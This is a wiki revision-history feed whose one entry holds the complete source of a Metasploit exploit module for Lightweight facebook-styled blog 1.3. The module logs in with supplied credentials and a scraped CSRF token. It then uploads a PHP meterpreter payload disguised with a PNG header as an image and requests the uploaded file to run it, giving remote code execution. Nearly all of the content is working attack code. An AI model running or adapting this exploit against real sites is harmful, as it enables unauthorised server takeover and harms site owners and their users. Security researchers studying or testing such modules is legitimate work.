<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Lightweight_facebook-styled_blog_1.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>Lightweight facebook-styled blog 1.3 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Lightweight_facebook-styled_blog_1.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Lightweight_facebook-styled_blog_1.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-16T21:18:36Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Lightweight_facebook-styled_blog_1.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=5949&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;pre&gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule &lt; Msf::...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Lightweight_facebook-styled_blog_1.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=5949&amp;oldid=prev"/>
		<updated>2021-06-25T11:27:03Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;pre&amp;gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule &amp;lt; Msf::...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
  Rank = ExcellentRanking&lt;br /&gt;
&lt;br /&gt;
  include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
&lt;br /&gt;
  def initialize(info={})&lt;br /&gt;
    super(update_info(info,&lt;br /&gt;
      'Name'           =&amp;gt; &amp;quot;Lightweight facebook-styled blog authenticated remote code execution&amp;quot;,&lt;br /&gt;
      'Description'    =&amp;gt; %q{&lt;br /&gt;
        This module exploits the file upload vulnerability of Lightweight self-hosted facebook-styled PHP blog and allows remote code execution.&lt;br /&gt;
      },&lt;br /&gt;
      'License'        =&amp;gt; MSF_LICENSE,&lt;br /&gt;
      'Author'         =&amp;gt;&lt;br /&gt;
        [&lt;br /&gt;
          'Maide Ilkay Aydogdu &amp;lt;ilkay@prodaft.com&amp;gt;' # author &amp;amp; msf module&lt;br /&gt;
        ],&lt;br /&gt;
      'References'     =&amp;gt;&lt;br /&gt;
        [&lt;br /&gt;
          ['URL', 'https://prodaft.com']&lt;br /&gt;
        ],&lt;br /&gt;
      'DefaultOptions'  =&amp;gt;&lt;br /&gt;
        {&lt;br /&gt;
          'SSL' =&amp;gt; false,&lt;br /&gt;
          'WfsDelay' =&amp;gt; 5,&lt;br /&gt;
        },&lt;br /&gt;
      'Platform'       =&amp;gt; ['php'],&lt;br /&gt;
      'Arch'           =&amp;gt; [ ARCH_PHP],&lt;br /&gt;
      'Targets'        =&amp;gt;&lt;br /&gt;
        [&lt;br /&gt;
          ['PHP payload',&lt;br /&gt;
            {&lt;br /&gt;
              'Platform' =&amp;gt; 'PHP',&lt;br /&gt;
              'Arch' =&amp;gt; ARCH_PHP,&lt;br /&gt;
              'DefaultOptions' =&amp;gt; {'PAYLOAD'  =&amp;gt; 'php/meterpreter/bind_tcp'}&lt;br /&gt;
            }&lt;br /&gt;
          ]&lt;br /&gt;
        ],&lt;br /&gt;
      'Privileged'     =&amp;gt; false,&lt;br /&gt;
      'DisclosureDate' =&amp;gt; &amp;quot;Dec 19 2018&amp;quot;,&lt;br /&gt;
      'DefaultTarget'  =&amp;gt; 0&lt;br /&gt;
    ))&lt;br /&gt;
&lt;br /&gt;
    register_options(&lt;br /&gt;
      [&lt;br /&gt;
        OptString.new('USERNAME', [true, 'Blog username', 'demo']),&lt;br /&gt;
        OptString.new('PASSWORD', [true, 'Blog password', 'demo']),&lt;br /&gt;
        OptString.new('TARGETURI', [true, 'The URI of the arkei gate', '/'])&lt;br /&gt;
      ]&lt;br /&gt;
    )&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  def login&lt;br /&gt;
&lt;br /&gt;
    res = send_request_cgi(&lt;br /&gt;
      'method'    =&amp;gt; 'GET',&lt;br /&gt;
      'uri'       =&amp;gt; normalize_uri(target_uri.path),&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    cookie = res.get_cookies&lt;br /&gt;
    token = res.body.split('&amp;quot;:&amp;quot;')[1].split('&amp;quot;')[0]&lt;br /&gt;
    # token = res.to_s.scan(/&amp;quot;[abcdef0-9]{10}&amp;quot;}/)[0].to_s.tr('&amp;quot;}', '')&lt;br /&gt;
    print_status(&amp;quot;Got CSRF token: #{token}&amp;quot;)&lt;br /&gt;
    print_status('Logging into the blog...')&lt;br /&gt;
    res = send_request_cgi(&lt;br /&gt;
      'method'    =&amp;gt; 'POST',&lt;br /&gt;
      'uri'       =&amp;gt; normalize_uri(target_uri.path, 'ajax.php'),&lt;br /&gt;
      'headers' =&amp;gt; {&lt;br /&gt;
        'Csrf-Token' =&amp;gt; token,&lt;br /&gt;
      },&lt;br /&gt;
      'cookie' =&amp;gt; cookie,&lt;br /&gt;
      'data'      =&amp;gt; &amp;quot;action=login&amp;amp;nick=#{datastore['USERNAME']}&amp;amp;pass=#{datastore['PASSWORD']}&amp;quot;,&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    if res &amp;amp;&amp;amp; res.code == 200&lt;br /&gt;
      print_good(&amp;quot;Successfully logged in with #{datastore['USERNAME']}&amp;quot;)&lt;br /&gt;
      json = res.get_json_document&lt;br /&gt;
      if json.empty? &amp;amp;&amp;amp; json['error']&lt;br /&gt;
        print_error('Login failed!')&lt;br /&gt;
        return nil, nil&lt;br /&gt;
      end&lt;br /&gt;
    else&lt;br /&gt;
      print_error(&amp;quot;Login failed! Status code #{res.code}&amp;quot;)&lt;br /&gt;
      return nil, nil&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return cookie, token&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
    cookie, token = login&lt;br /&gt;
    unless cookie || token&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, &amp;quot;#{peer} - Authentication Failed&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    data = Rex::MIME::Message.new # jWPU1tZmoAZgooopowaNGjRq0KhBowaNGjRqEHYAALgBALdg7lyPAAAAAElFTkSuQmCC&lt;br /&gt;
    png = Base64.decode64('iVBORw0KGgoAAAANSUhEUgAAABgAAAAbCAIAAADpgdgBAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAJElEQVQ4') # only the PNG header&lt;br /&gt;
    data.add_part(png+payload.encoded, 'image/png', 'binary', &amp;quot;form-data; name=\&amp;quot;file\&amp;quot;; filename=\&amp;quot;mia.php\&amp;quot;&amp;quot;)&lt;br /&gt;
    print_status('Uploading shell...')&lt;br /&gt;
    res = send_request_cgi(&lt;br /&gt;
      'method'    =&amp;gt; 'POST',&lt;br /&gt;
      'uri'       =&amp;gt; normalize_uri(target_uri.path,'ajax.php'),&lt;br /&gt;
      'cookie' =&amp;gt; cookie,&lt;br /&gt;
      'vars_get' =&amp;gt; {&lt;br /&gt;
        'action' =&amp;gt; 'upload_image'&lt;br /&gt;
      },&lt;br /&gt;
      'headers' =&amp;gt; {&lt;br /&gt;
        'Csrf-Token' =&amp;gt; token,&lt;br /&gt;
      },&lt;br /&gt;
      'ctype'     =&amp;gt; &amp;quot;multipart/form-data; boundary=#{data.bound}&amp;quot;,&lt;br /&gt;
      'data'      =&amp;gt; data.to_s,&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    # print_status(res.to_s)&lt;br /&gt;
    if res &amp;amp;&amp;amp; res.code == 200&lt;br /&gt;
      json = res.get_json_document&lt;br /&gt;
      if json.empty? || !json['path']&lt;br /&gt;
        fail_with(Failure::UnexpectedReply, 'Unexpected json response')&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
      print_good(&amp;quot;Shell uploaded as #{json['path']}&amp;quot;)&lt;br /&gt;
    else&lt;br /&gt;
      print_error(&amp;quot;Server responded with code #{res.code}&amp;quot;)&lt;br /&gt;
      print_error(&amp;quot;Failed to upload shell&amp;quot;)&lt;br /&gt;
      return false&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, json['path'])}, 3&lt;br /&gt;
    )&lt;br /&gt;
    print_good(&amp;quot;Payload successfully triggered !&amp;quot;)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>